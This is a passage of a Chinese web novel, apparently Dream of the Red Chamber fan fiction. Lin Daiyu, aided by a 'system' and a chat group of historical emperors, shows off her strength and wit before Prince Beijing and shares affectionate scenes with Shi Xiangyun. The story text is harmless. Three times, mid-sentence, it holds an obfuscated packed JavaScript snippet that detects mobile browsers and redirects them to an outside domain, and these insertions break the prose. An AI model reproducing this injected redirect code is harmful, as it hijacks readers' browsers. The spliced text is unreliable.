【秦始皇】：都先别嚷。你们瞧她的神情，那叫一个云淡风轻，这演技，绝了！ 【系统：自然。奴家出品，必属精品。不但力量外挂要给足，这‘神态外挂’也得配齐了。】 【武则天】：好姐妹，你这是要捅破天不成！ 【康熙】：朕输了……赌注是什么来着？ 【系统：诸位陛下冷静，此乃临时增益，非永久技能。】 亭外众人，哪里又晓得这些内情。 他们只亲眼目睹，那个素日里走几步路都要喘息，风一吹就要病倒的林妹妹，四两拨千斤，将一棵遮天蔽日的百年老柳，连根拔起！ 巨树轰然倒地，激起漫天尘土，草屑纷飞。 黛玉收回手，在衣袖上拍了拍灰尘，好似方才只是拂去了一片落叶，才好整以暇开口道：“这柳树根子早已朽了，内里生了虫，本就该倒了。我不过顺手为之。” 【系统：宿主，凡尔赛请适度。您的人设快要碎成饺子馅了。】 【帝王群公告：林黛玉获封称号‘大力御姐’。】 【秦始皇】：朕意已决，当收你为义女！ 【汉武帝】：滚！明明该拜我为师！ 【武则天】：你们两个大男人都让开，这是我们女子的荣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16219498|181441||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 光！来来来，黛玉宝宝，这是本朝的格物致知集大成，今日便送给妹妹。 【叮咚，恭喜宿主获得唐朝失传已久的格物致知技能，可以用来开工坊，发展初级资本主义。说实话，这些技能，奴家的系统商城都没有，有的时候，发明还是要靠考古啊！】 【康熙】：哼，一赔一百，武姐姐赢了我们这许多，给林家女儿一些分红，也是应当的。 黛玉维持着弱不禁风的仪态，甚至还配合地喘了两口气，装出真用了气力的模样：“诸位姐姐妹妹，路已通了，快些过去罢。” 一边说，心里却在盘算如何在城东置地，建个小工坊。 众人如在梦中，被她一提醒，才醒过神来，一个个神思恍惚地快步通过。 宝钗走在最后，那双深思的眸子落在黛玉身上，若有所思：“颦儿这等巧劲法门，不知是载于哪部典籍？” 黛玉眼波一转，盈盈含笑：“许是《吕氏春秋》罢，日子久了，记不大清了。” 【汉武帝：《吕氏春秋》：这锅，嬴政兄的……仲父不背。】 【秦始皇】：哼！ 湘云扑回来，一把抓住黛玉的手，左看右看，翻来覆去地瞧：“林姐姐，你这手也太巧了！快些教我，快些教我！” 黛玉由着她抱着自己的手臂，淡笑：“当真想学？” “想！”湘云点头如捣蒜。 “那好，你先学着静坐三刻钟，不许开口，不许乱动。” 湘云肉嘟嘟可爱的脸，顿时垮了下来。 “傻丫头。”黛玉任由她捏着自己的手，语气宠溺，“这需要懂得物理之道，你这般毛毛躁躁的性子，如何学得？” “物理？”湘云眨着大眼睛，满脸都是困惑，“是何物？能吃么？” 【系统：警报警报，宿主从奴家这里套话21世纪科技太多，说漏嘴了。】 【秦始皇】：物理？那是什么道法？ 【康熙】：咳，朕……朕略知一二。 【其他帝王】：？？？ 黛玉笑道：“这也不过是些格物致知的浅道理，算不得什么。倒是云丫头你，今儿席上可别又贪杯。上回醉卧芍药茵，睡得那叫一个憨沉，嘴里还絮絮叨叨，谁知说的是哪家梦话。” 湘云那一张娇憨的脸，便烧了起来，一腔热血直冲上脸来，烧得那两颊绯红，竟比那醉卧花间的胭脂色还浓了几分，跺脚嗔道：“我、我哪里念过什么！” “哦？”黛玉水眸流转，似笑非笑，“那一声声的醉话，娇娇怯怯，可怜见的，却不知是哪位仙人在唤？” “我……”湘云被她瞧得心头乱跳，舌头也打了结，支吾了半晌。最后心一横，索性将那女儿家的羞态尽数抛开，理直气壮道：“我就是梦见林姐姐掉进水里了，心里着急，这才喊的！怎的，不成么！” 【系统：叮！史湘云好感度+10，当前好感度：95。万人迷线已全面开启，奖品丰厚，宿主，冲鸭！】 黛玉闻言，只是笑，伸出另一只未曾按着树的手，葱管似的指尖，轻轻点在湘云滚烫的额心。 【秦始皇】：哼哼，看见没！朕说什么来着！这史家丫头心里有鬼！ 【汉武帝】：啧，掉水里？这借口找的，还不如说掉朕的未央宫里，朕还能给她封个美人。 【唐太宗】：汉武兄，你这车驾超速了。然，此言甚得朕心。 正当这厢女儿家姐妹们正说笑打趣，那边厢，人群外忽传来一道清润温和的男子声音：“园中如此热闹，不知是何缘故？” 众人闻声回头，只见北静王水溶正含笑走来。他身后跟着几个俊朗的侍卫，一袭龙纹锦袍，身姿颀长，清贵之气浑然天成，手中一把湘妃竹骨扇轻摇，端的风流倜傥。想是来寻宝玉厮混，路过此地，被这边的动静引了过来。 水溶的目光在人群中轻轻一扫，落在黛玉身上。 “原来是林姑娘。” 他款步上前，温文尔雅地拱了拱手，语气关心，“方才在园外，远远望见一株大树倾倒，尘土飞扬，还当是出了什么意外。” 【啧啧啧，宿主刚刚开启万人迷属性，这北静王就来了，效率也忒高了点！要说这原著里，水溶论外表和地位，也算是优质单身贵族了，真真儿的贵族王爷！】 10.北静王 贾环一见王爷亲临，如同见了救星，连滚带爬地奔上前去，指着黛玉，语无伦次地嚷道：“王爷！王爷您可算来了！您快瞧瞧，林姐姐她……她会妖法！” 水溶眉峰微动：“妖法？” “可不是！”贾环说得唾沫横飞，极尽渲染之能事，“王爷您想，这三百年的老槐树，根深蒂固，十个壮汉也未必能动摇分毫！她一个弱女子，轻轻一推便倒了，这不是妖法是什么？定是用了什么见不得光的邪门歪道！” 【警报！警报！检测到北静王水溶好感度+10。】 【等等……宿主，这货看你的眼神不对劲，非常不对劲！这不是欣赏，是估价！是想把你打包回府、拆吃入腹的眼神！】 水溶一袭王袍，腰间挂了不少玉佩扇子，端的是一副风流的世家贵公子模样。 黛玉心底冷笑一声，面上却分毫不显。她敛去眸底的冷意，再抬眼时，已是一片不谙世事的清澈，甚至略带天真。 她微微屈膝，行了个万福礼，礼貌道：“王爷明鉴。小女子不过是幼时体弱，家父寻了些吐纳的法门，日日勤练，用以强身健体罢了。若这也算妖法，那行走江湖的奇人异士，岂不个个都是精怪了？” 声音软糯如江南三月的细雨，客气得很，却让人听出几分疏离。 “吐纳之法？”水溶的眼睛倏地亮了，仿佛发现了什么稀世奇珍，向前又凑近了半步，兴致盎然地追问起来。 “倒未曾听闻闺阁千金修习此道。不知林姑娘师从哪位高人？” 他靠得太近，身上男子用香气将将侵入黛玉的呼吸，令人窒息。 不等黛玉回话，一道身影已闪电般地横在了两人之间。 是湘云。 她像一只被抢走了盆盆奶的幼豹，浑身的毛都炸了起来，毫不客气地将黛玉护得严严实实，英姿飒爽中透着几分娇憨。 “王爷管得未免太宽了些！”湘云叉着腰，一双杏眼瞪得浑圆。 “闺阁女儿家的私事，也值得您这般刨根问底？我们林姐姐的师父是谁，与你何干？” 【哦豁！护妻狂魔已上线！宿主请注意，史湘云的占有欲指数瞬间飙升至85%，已达危险阈值！】 【宿主，你家小醋坛子要翻了！顺便一提，她刚才摸你腰的时候，心跳达到了每分钟120次，这是什么？这是心动啊！】 “云妹妹，别胡说。”黛玉不想湘云一个侯门孤女和正牌王爷水溶结怨。 水溶竟也不恼，对着湘云这般无礼之举，依旧风度翩翩，理了理锦袍的衣袖，袖口绣着金色的龙纹。 他轻笑道：“史姑娘说的是，是在下唐突了。只是在下另有一不情之请。” 他目光热情地落在黛玉身上，那眼神像是要把人看化了。 “家母近来玉体违和，遍寻名医，皆言是心郁之症，药石无医，需静心调养。若林姑娘当真精通此道，不知可否……” 【好家伙，反应真快！经典套路“我妈病了”都用上了，下一个是不是就该“我妈觉得你很不错”了？老PUA了。】 【哼，操作太丝滑了，上辈子他是不是写过《霸道王爷爱上我》？】 “王爷。”黛玉不等他说完，便柔声打断。 “王府的金字匾额，难道还请不来宫里的太医圣手？何苦来为难我这荣国府里，一个寄人篱下的小小孤女呢？” 她特意加重了“荣国府”和“寄人篱下”几个字。 【啧啧啧，荣国府，小小孤女。宿主，你这凡尔赛发言，我给满分。】 此话绵里藏针，既点明了自己身在贾府，并非能随意走动的身份，又暗讽他堂堂王爷，竟要为难一个无依无靠的弱女子，将他的请求堵得严严实实。 水溶脸上的笑容一僵，一时竟被堵得哑口无言。 【帝王聊天群内，早已炸开了锅。】 【秦始皇】：这黄口小儿是哪个？吃了熊心豹子胆，敢打朕看中的人的主意？！来人，给朕拖出去车裂！ 【汉武帝】：北静王？呵，朕想起来了，就是原著里那个对林丫头有几分念想的。呸！天鹅的羽毛他也休想碰到一根！ 【唐太宗】：诸位稍安勿躁。他说他母亲病了？朕怎么记得，北静王府的老太妃，身子骨硬朗得很，上月还能在围场跑马呢，赢了三百两银子。 【康熙】：@唐太宗，二凤你记性是真好。这不明摆着是托辞么，想借机将人诓进他府里去。司马昭之心，路人皆知。 【朱元璋】：呸！好个油头粉面的登徒子！咱一看他那弱不禁风的样子，就知道他一肚子坏水！！咱当年要是遇上这种人，直接一脚踹进护城河！ 【报告群主，帝王们群情激愤，强烈要求对北静王水溶开启“天子裁决”！是否开启投票，决定如何处置此人？】 【选项包括：A.天打雷劈 B.出门摔跤 C.喝水呛死 D.以上都要】 黛玉心中一动：“有趣，让他们投。” 她侧首看向还在虎视眈眈盯着水溶的湘云，心下柔软。 这丫头，护起人来倒是半点不含糊。 正当此僵持不下之时，王熙凤已扭着身子走上前来，打了个哈哈，巧笑倩兮：“哎哟，我的王爷，今儿不过是我们姐妹们在一处玩笑，不想竟惊动了您的大驾，真真是我们的不是了。” “无妨。”水溶的目光却依旧停在黛玉身上，赞叹道，“林姑娘文武双全，风姿卓绝，当真是巾帼不让须眉。在下是真心实意，想请姑娘到府上一叙，家母若能得见这般奇女子，说不得心病也能好上些许。” “王爷这话说的，”探春听了，忍不住皱眉插言，“我们林姐姐又不是走街串巷的郎中，岂有随意上门为人瞧病的道理？” 薛宝钗亦是温言劝道：“王爷若真为老太妃的凤体着想，不如请一班新巧的南边戏班子，唱些热闹的曲子，岂不更能解闷？” 众人眼见水溶还欲纠缠，却忽闻林黛玉又开口了。 “王爷，素闻王爷诗冠京华，今日有幸，小女子愿与王爷赌一局，不知王爷可有此胆量？” 北静王水溶听了这话，竟不着恼，眼底笑意，化作了浓郁的兴致。 黛玉并不看他，目光悠悠然落在远处一池残荷上：“我有一上联。王爷若能在一炷香之内对出下联，我便随王爷的车驾，往府上叨扰半日。倘若王爷对不出……” 她话音一停，那潋滟的眸子倏尔回转，清清楚楚映出水溶的身影。 “那么，便请王爷回罢，日后也莫要在这后宅闺阁里玩耍。” 【系统：宿主！我的亲娘！你这是拿北静王府那块“文墨双修”的金字招牌当磨刀石了！！】 “一石二鸟之计，何乐不为。”黛玉心中自有计较。 话已至此，水溶哪里还有回旋的余地？他立在众人目光的中央，退无可退，只得朗声一笑，尽显王孙公子的风流自负：“林姑娘既有此雅兴，本王奉陪便是。请。” 黛玉朱唇轻启，吐出五个字。 “烟锁池塘柳。” 此联一出，四座顿寂。顷刻间，那安静又化作了交头接耳。 有那解事的，已是面如土色，暗中直摇头；有那好事之徒，则伸长了脖颈，专等看北静王的笑话。 要知道，这上联嵌着五行偏旁，金木水火土，字字珠玑，浑然天成。千百年来，不知难倒了多少骚人墨客，堪称绝对。 要对下联，与一步登天何异？ 水溶面上那潇洒的笑容，此刻凝住了。他双眉紧锁，在原地来回踱步，起初还算从容，渐渐地，步子乱了，额角鬓边，竟沁出了汗珠。 【帝王聊天 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16232686|181441||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 群里，这对联一出，大家都忘记了说要制裁北静王的投票了。】 【唐太宗李世民】：哈哈哈哈！这个朕眼熟！想当年，朕那十八学士对着此联，一个个抓耳挠腮，愁得胡子都快揪秃了，也未得一佳对！这女娃娃，忒也刁钻促狭！ 【秦始皇嬴政】：哼，妇人之见。不愿去便直言拒之，何苦弄这许多弯弯绕绕。到底还是小女儿心性，上不得台面。 【汉武帝刘彻】：活该！叫他觊觎咱们的群宠！正该叫他当着这许多人的面，下不来台，颜面扫地！ 【康熙玄烨】：诸位且息怒。朕倒是依稀记得，后世似乎有人对出过几句……虽不算顶好，却也…… 【明太祖朱元璋】：@康熙 老四你给咱闭嘴！谁让你在这儿泄露天机！就让那小子干站着，咱倒要看看，他那身王爷的皮，还能撑多久！ 一旁，史湘云早已乐得眼中放光，她悄悄挨到黛玉身边，压低了声音：“好姐姐，你这法子，可真是……又解气又淘气。” 湘云今日所用花香，颇为浓郁，黛玉身形微侧，避开了些许，口中答道：“兵法有云，不战而屈人之兵，善之善者也。” 一炷香的工夫，说长不长，说短也不短，却足够将北静王水溶那一身的从容风雅消磨殆尽。 他额上的汗珠终于汇成一道水线，顺着脸颊滚落。 湘云一双明眸，笑道：“是了，‘烟锁池塘柳’。这烟属火，锁属金，池属水，塘属土，柳属木。我的天，要寻个下联，既要平仄相对，又要五行俱全，更要景致不输，这……这岂不是要人的性命？” 【咦，湘云到底是侯门贵女的情商上线，给北静王台阶下了吗？】 黛玉正凝神间，湘云那银铃般的声音已卷了起来：“我得了副绝妙的下联，大家快来品品！” 【呃，原来是她自己要出风头啊！果然是真名士自风流！】 须知道，这“烟锁池塘柳”五字，其妙有三。一者，字中偏旁，暗含“火金水土木”，是为五行。二者，平仄为“平仄平平仄”，音韵和谐。三者，描摹江南春景，意境悠远。欲成下联，三者缺一不可，其难可知。 湘云拍手笑道：“看我的！‘炮镇海城楼’，颦儿你看，这句如何？” 【唐太宗】：嚯，这小娘子倒有几分急智，对得是真工整！ 【汉武帝】：工整有余，风致全无。一股子硝烟火药味，将那池塘垂柳的婉约春思，冲得一干二净。俗不可耐。 【秦始皇】：吟诗作对，何其麻烦！朕看，不如将那出对子的人拖出去，车裂了事。何等干净利落。 【康熙】：动不动就车裂……始皇帝此法，当真是千古不易。一样的简单，一样的……有效。 【叮咚，系统数据分析】： 五行偏旁：火（炮）、金（镇）、水（海）、土（城）、木（楼）。匹配度百分之百。 平仄格律：仄仄仄平平。与上联严丝合缝。 意境：雄浑苍凉，杀伐之气满溢。与上联闺阁春愁，构成强烈反差。 结论：技术层面无懈可击，艺术层面南辕北辙。“镇”字对“锁”字，皆为动词，然一为强压，一为轻笼，意蕴高下立判。 这……应该是女将军才能做出来吧？ 黛玉的笑意在梨涡里漾开了，对湘云道：“云儿这句‘炮镇海城楼’，若论对仗，字字工整，句句严谨，确是没得挑的。只是……” 一语未了，湘云那性子便按捺不住，赶着追问：“只是什么？颦儿快说，莫要卖关子，急坏了我。” “只是这句里，杀伐之气过多了。” 湘云道：“那依颦儿的意思，这下联……” 北静王在一旁看着，这湘云的对子，已是不凡，扪心自问，自己是对不出了，莫非林黛玉还有更好的下联？ 11.下联 黛玉看了湘云一眼，款款道来：“欲求下联之妙，必得意在笔先，心与境合，形与神备。譬如……” 她略一停顿，眼波流转，好似这京城的烟雨都凝在了她的眸子里。 “譬如……‘灯深村寺钟’。” 这五字一出，众人都安静了。 湘云先是呆住，将这五字放在唇齿间，反复咀嚼了数遍，忽地一拍手，满面皆是惊叹欢喜：“妙啊！真是绝妙！灯属火，钟属金，‘深’字里藏着水，村乃木，寺乃土。这五行不偏不倚，恰恰齐全！况且意境更是天造地设！一个是池塘春色，一个是山寺夜景；一个是闲愁脉脉，一个是静心悠远！” 她笑意盈盈，亲亲热热挽住黛玉的臂膀，十分的亲昵，又是十二分的骄傲：“我就知道，普天之下，还有谁能比得过我的颦儿！” 【汉武帝刘彻】：此联……确非凡品。 【唐太宗李世民】：何止非凡品，简直是才华横溢！朕一生戎马，也曾见过文人墨客车载斗量，然则这等才情，这等心性，当真是世间罕有。 【康熙帝玄烨】：等等，你们诸位没发觉么……这两位姑娘的言谈举止，似乎…… 【秦始皇嬴政】：有何不妥？ 【康熙帝玄烨】：咳，倒也并无不妥。朕只是觉得，她们姊妹之间，情分忒深厚了些。 【系统：报告康熙陛下，您这洞察秋毫的直觉，在我们后世有个专有名词，唤作‘磕CP’。只是黛玉开的是单箭头万人迷线，怕是没有感情戏了。】 北静王听了这下联，长叹一声，泄了气，对着黛玉躬身长揖，那姿态竟是实打实的恭敬：“林姑娘才思冠绝，本王今日方知天外有天。甘拜下风。” “王爷过誉。”黛玉微微一福，“如此，你我赌约之事，还望王爷言而有信。” 水溶抬起身，深深望了她一眼。 “自然。小王告辞。” 话音未落，他已转身，带着几个长随，步履匆匆地去了。那背影，竟有几分仓皇狼狈。 “林姐姐，你今日真是……”湘云激动得小脸通红，一把拽住黛玉的袖子，眼眸亮得惊人，“方才你拔那树桩，后来又用这绝对难为他，比戏文里头的穆桂英还要威风十倍！” 黛玉笑了：“依云妹妹看，我这般行事，可会太过张扬，不像个女儿家应有的规矩？” “怎么会！”湘云想也不想，立刻反驳，那神情比黛玉自己还要急切，“姐姐做什么都是对的！谁敢说姐姐一句不是，我头一个便去撕了他的嘴！什么规矩不规矩的，那些陈腐的东西，如何能束缚住姐姐这般的风流人物！” 二人正说着梯己话，前头王熙凤已在高声催促：“我的好妹妹们，有什么话留着席上再说不成？快些来，这诗社眼看就要开席，就等你们二位了！” 藕香榭临水的轩馆内，早已陈设妥当。四面菱花格的窗子大敞着，水榭清风，裹着淡淡的荷香，拂面而来，沁人心脾。 秦可卿正指挥着丫鬟们安置茶果，见黛玉二人进来，便盈盈含笑，迎了上来：“林姑姑方才那番作为，真是叫我们开了眼界。往日只知姑姑是咏絮之才，不想竟还有这般雷霆手段。” “不过是些小顽意，恰巧派上了用场，让可卿见笑了。”黛玉依旧是那副清清淡淡的谦逊模样。 【系统：宿主，秦可卿好感度检测：75（知己线）。警告，此女心较比干多一窍，眼光毒辣过人，不是省油的灯，小心应对哦。】 【康熙：怪哉。为何这府中上下，无论主子姑娘，竟都对这林家丫头另眼相看？】 【系统：陛下，您这就有所不知了。这就叫‘高端猎手往往以猎物的形式出现’，是钓系御姐的千层套路，顶级玩家的极致拉扯。您老那套‘帝王心术’，在这儿可不够瞧的。】 说话间，贾母房里的鸳鸯已是满面春风地进来了，手里捧着个海棠花式样的填漆食盒：“老太太听闻林姑娘露了回手腕，心里又惊又疼，特命我送了上好的官燕和血燕来，说务必给姑娘好生补补。老太太还嘱咐了，往后断不许姑娘再这般逞强，万一伤了身子，那可是要了她的命了。” 众人闻言，这才恍然大悟，想起黛玉素日身子骨原是极弱的，方才那举重若轻的模样，只怕是暗中耗损了极大的心神气力。 “我的好妹妹，快坐下歇歇。”薛宝钗忙起了身，将自己临窗占着的那个最清凉的座位，让了出来。 “颦儿，可要用些参茶？”贾探春亦是满面关切。 黛玉心中暗笑，面上却恰恰浮起一层薄薄的倦色，微微蹙了蹙眉：“多谢姐姐们费心，我并无大碍。” 【秦始皇嬴政】：演。让她演。 【汉武帝刘彻】：这演技，朕若在世，当为她设一樽小金人！ 【系统：嘘，各位陛下请看，大戏的锣鼓才刚刚敲响呢。】 恰在此时，紫鹃捧着茶盘进来，笑道：“姑娘，茶水备下了，快趁热用罢。” 湘云接过茶盏，忽地想起一事，对黛玉道：“对了颦儿，我听闻近来京中来了个西洋的传教士，随身带了许多稀奇古怪的物件。什么自己会响的盒子，还有能照见人心的镜子。改日得闲，我们一道去瞧个新鲜？” 黛玉正待启唇，那帝王闲话的群中，早已是鼎沸之声。 【秦始皇】：又是那群红毛碧眼的蛮夷？焚书坑儒时，竟未将这伙人一并收拾了！ 【康熙】：始皇帝前辈，您那时节，哪儿来的西洋人。莫要听风是雨。 【汉武帝】：且住！这二人言谈，是哪个年岁？京里？又是哪朝的京？ 【唐太宗】：观其人物衣饰，言语风流，确有几分眼熟。这京城的格局也颇有朕的长安城之风华。只是，那小丫头说是架空？ 黛玉垂眸，看那群中帝王乱作一团，心下不由暗笑。这几位平日里个个端着君临天下的仪态，一遇着这等能窥探后世是非的机缘，倒心急许多。 她转过脸，向湘云恬然一笑，端起面前的汝窑茶盏。 “西洋人的东西，有什么稀罕。”黛玉吹开浮叶，声色皆淡，“不过是些惑人耳目的奇技淫巧。” 湘云却不依，凑近了些，压低声音道：“颦儿，你是没瞧见。那教士带来的千里镜，真真能瞧见月亮上的山河纹路呢！” 【秦始皇】：千里镜？能窥月上山河？朕不信！徐福当年也没寻来这等仙物！ 【汉武帝】：你信与不信，有何要紧？后世已然造成。 【唐太宗】：说来，朕在贞观年间，也曾见过几个西域来的方士，其术亦奇…… “颦儿，”湘云笑声渐收，忽然正了神色，认真地端详她，“我觉得你……近来大不相同了。” 黛玉抬眼看她：“哪里不同？” “我也说不清楚。”湘云歪着头，细细思量，“就是……就是觉得你更舒展了。从前你眉尖眼底，总藏着挥不去的愁绪。如今，却能时时见到笑了。” 黛玉心头微动。是么？ 【唐太宗】：这位史家姑娘，朕心悦之。 【汉武帝】：李世民，你给朕收敛些！人家还是个未出阁的女儿家！ 【康熙】：朕倒觉得，这两位姑娘的情谊，甚是可贵。 【明太祖】：情谊？哼，朕看未必只是姊妹情谊那么简单…… 群里的帝王们又开启了新的论辩，黛玉懒得再看，索性将那聒噪之声尽数屏蔽了。 “云 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16232687|181441||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 儿，”黛玉忽然开口，声音轻渺，“你说，若有一日，我们都不在这府里了，你会去向何方？” 湘云一怔，不解其意：“好端端的，问这个做什么？” “无事，随口一问。” 湘云闻言，略一思忖，便恢复了那豪爽本色，笑道：“天大地大，何处去不得？真到了那日，我便学那戏文里的女子，女扮男装，策马江湖，岂不快哉？” 黛玉闻言失笑：“也就你想得出来。” “那颦儿呢？”湘云反问，“你想去哪里？” 黛玉的目光越过窗，投向那一片苍翠的凤尾竹，幽幽道：“我啊……想去亲眼看看真正的烟雨江南。不是这园子里堆砌的假山假水，而是那真切的山，实在的水。” “那我陪你去！”湘云不假思索，脱口而出。 黛玉缓缓转过头，望住她，伸出手，轻轻拈去了湘云秀发上沾着的一片叶子。 诗社里，众姐妹吟诗作对，不在话下。 且说三日后，潇湘馆。 黛玉正歪着身子，看那群里面的众帝王热热闹闹斗嘴。 只听得湘妃竹帘一阵清脆响动，帘外有人声。 “林姐姐！” 话音未落，史湘云已闯了进来，人似一阵风。 “你猜我给你带了什么好东西来？” 黛玉连忙敛了心神，将那帝王群的琉璃光屏隐去，抬眸看她，眼底对阵这些人精似的的君王时候的锋芒已不见：“云儿怎么这会子来了？” “我自然是来看你的！”湘云也不见外，一屁股便在黛玉的榻边坐下，献宝似的捧出一个巨大的精致的食盒。 “喏，我和家里兄弟们去西郊，才猎来的鲜鹿肉！我特特叫厨房里的人给你炖了汤，最是滋补身子的！” 黛玉的目光落在她额角晶莹的汗珠上，“这样热的天，你慌慌张张跑这一趟做什么？” “给你送东西自然要紧！”湘云用袖口揩了把汗，凑到黛玉面前，“林姐姐，你方才在笑什么？我在院子外头就听见你的笑声了，是看了什么趣事？” 【嘻嘻，什么趣事？当然是看群里面的八卦和这些皇帝们斗嘴了。】 两人挨得极近，黛玉能清晰闻见湘云身上，那股子淡淡的，混着女儿家馨香的气息。 “没什么。”黛玉身子略后仰，拉开些许距离，“不过是看了本有趣的闲书。” “什么书？这样有趣，也拿来给我瞧瞧！” “你这猴儿，单知道凑趣。”黛玉伸出指头，在她的额上轻轻一点。 湘云捂着额头，嘴儿一嘟，颇有几分娇憨：“林姐姐又欺负我！” 【宿主！她在撒娇！她正对着你撒娇！老天，这是什么神仙光景！快拿笔来，今夜奴家就要为你们写三百回合的闺阁小说！】 恰在此时，那光屏又在眼前亮起，群中消息接二连三。 【朱元璋】：@林黛玉女娃娃怎么不说话了？可是有人欺负你了？告诉咱，咱派锦衣卫去，把他一家老小都给你抓起来！ 【康熙】：元璋兄，你的锦衣卫，怕是过不来这几百年的光阴。 【秦始皇】：朕的兵马俑倒是可以一试…… 【汉武帝】：都住口！你们这几个老东西，没点眼力见么？瞧这光景，分明是人家的小心上人来了！ 【唐太宗】：哦？刘彻此话怎讲，你如何得知？ 【汉武帝】：废话！朕的后宫，佳丽何止三千，这点眉眼官司，还看不出来？想当年阿娇和楚服……罢了罢了！ 黛玉眼风扫过那一行行字，唇角略略地抽动。 这群君临天下的帝王，怎么比她脑子里那个系统，还要热衷这些闺阁八卦？ 12.犀利明太祖 “林姐姐，你到底在看什么呀？”湘云见她神色变幻，愈发好奇，小脑袋又凑了过来。 “当真没什么。”黛玉将手边的诗稿一合，岔开了话头，“倒是你，今儿怎么得了空，不在你那府里安生呆着？” “自然是想你了呀！”湘云说得理直气壮，一双眼明亮澄澈，“咱们有好几日没见了，我心里挂念，总要亲眼来看看你身子大安了，才能放心。” 黛玉心头一暖，正要开口，脑中那声音又开始鼓噪。 【她说想你了！她亲口说想你了！这是什么虎狼之词！这是什么天赐良缘！民政局奴家给你们搬来了，请原地成亲！】 “闭嘴。”黛玉在心中冷冷道。好好的姐妹之情，这系统总是喜欢把它曲解了。 无论是对湘云，还是对宝钗，还是对探春，甚至连王熙凤，秦可卿这样的嫁了人的媳妇，系统都会各种八卦。 在黛玉看来，湘云不过是性格使然，对自己以及对宝钗都颇为热情。 而宝钗则是因着年纪长一些，是以对她，以及其他姐妹都颇为关照。 探春的热情，则夹杂了一些自己身为庶女，所以想和她这个老太太心爱的外孙女亲热些的心思。 至于王熙凤和秦可卿，那则愈发夹杂了一些现实的考虑。毕竟二人身为东西府的管家媳妇，要考虑的事情，总是比未出阁的小姐们要复杂一些。 湘云见她不语，只当她又在伤春悲秋，便伸手，将她的手一拉，握在掌中：“林姐姐，明儿府里开诗社，你可一定要来。我得了上好的酒，就等着与你一同对饮呢！” 湘云的手，少女独有的软糯暖意，直直传到黛玉心底。 “你这家伙，哪有女儿家成日家将饮酒挂在嘴边的？”黛玉面上带了嗔意，却未将手抽出。 “我便惦记！”湘云反手将她的手握得更紧，眼眸亮晶晶看着她，“况且，我只愿同林姐姐一人喝！” 黛玉望着湘云那双清澈见底，又几分执拗的眼睛，一时竟不知该回些什么。 就在这安静之中，那帝王群里，消息已是铺天盖地。 【秦始皇】：朕，嗅到了一股不寻常的气息。 【汉武帝】：+1。 【唐太宗】：+2，此中必有缘故。 【朱元璋】：这是什么说法？这里头有故事？ 【康熙】：诸位，稍安勿躁。朕方才，查到些有趣的玩意儿。这位史家姑娘，待咱们这林姑娘，似乎格外上心。 【汉武帝】：哦豁！小玄烨，速速细说！ 黛玉沉下心来一看，那方寸水镜之中，便又是一番热闹光景。 只见【康熙】先开了言：据朕安插在荣国府的眼线所奏，这位枕霞旧友，平日里但凡得了什么新巧的吃食、别致的物件儿，头一份必是巴巴地往潇湘馆里送。为着林丫头，竟还煞费苦心去学那烹茶庖厨的活计。前儿更听闻，因有人在背后编排林丫头身子骨弱，她竟同人争了个面红耳赤，险些动起手来。 【唐太宗】见了，不由啧啧称奇：这……这般情义，莫非是焦不离孟，孟不离焦的姊妹情深？ 【朱元璋】在旁冷哼一声，言语间颇不以为然：姊妹情？嘿，咱老朱看，这里头的文章，大着呢。 【秦始皇】显然没了耐心，声如金石：朱重八，有话便一气说出来，莫要学那小女儿姿态，扭捏作态。 【朱元璋】咂了咂嘴：咱当年领着明教……啊不我大明军的千军万马，什么阵仗、什么人没见过？便是那元朝的郡主或者江湖人士，峨眉山的掌门，朕也是见过的。瞧那史家丫头的眼神，啧啧，内中情愫，可不是姊妹二字能轻易了断的。 【咦，朱元璋这个大老粗，怎地今日，百合探测器如此犀利？元朝郡主和峨眉山掌门，这是什么八卦？奴家来扫描一下！】 黛玉垂着那双秋水眼，看着群中你一言我一语，又抬眸望定面前正为她剥着石榴的湘云，只觉心口一暖。 “云妹妹。”她终是轻轻开了口。 湘云“嗯？”了一声，抬起头来，手上还沾着晶莹的石榴汁子。 “你且说说，为何待我，竟这样好？” 湘云闻言，先是一怔，旋即，那双明亮的眼眸便弯成漂亮的月牙，笑意绽放开来：“因林姐姐值得，我便心甘情愿。这难道还需要什么缘故不成？” 她言语间坦荡磊落，好似这便是世间最天经地义的道理，无需半点思量。 那脑中的“天外之音”立时便八卦地喧嚷起来：【我的姑娘奶奶！您可听见了？她说您‘值得’！这三个字，可比那戏文里什么山盟海誓、指天画地都来得实在！这可是拿真心为您作筏，渡您过那苦海呢！】 帝王群中更是瞬时鼎沸。 【汉武帝】：妙！妙啊！朕的心弦被拨动了！ 【唐太宗】：此情此景，非笔墨所能述。 【秦始皇】：好个小丫头，有胆魄！朕准了！ 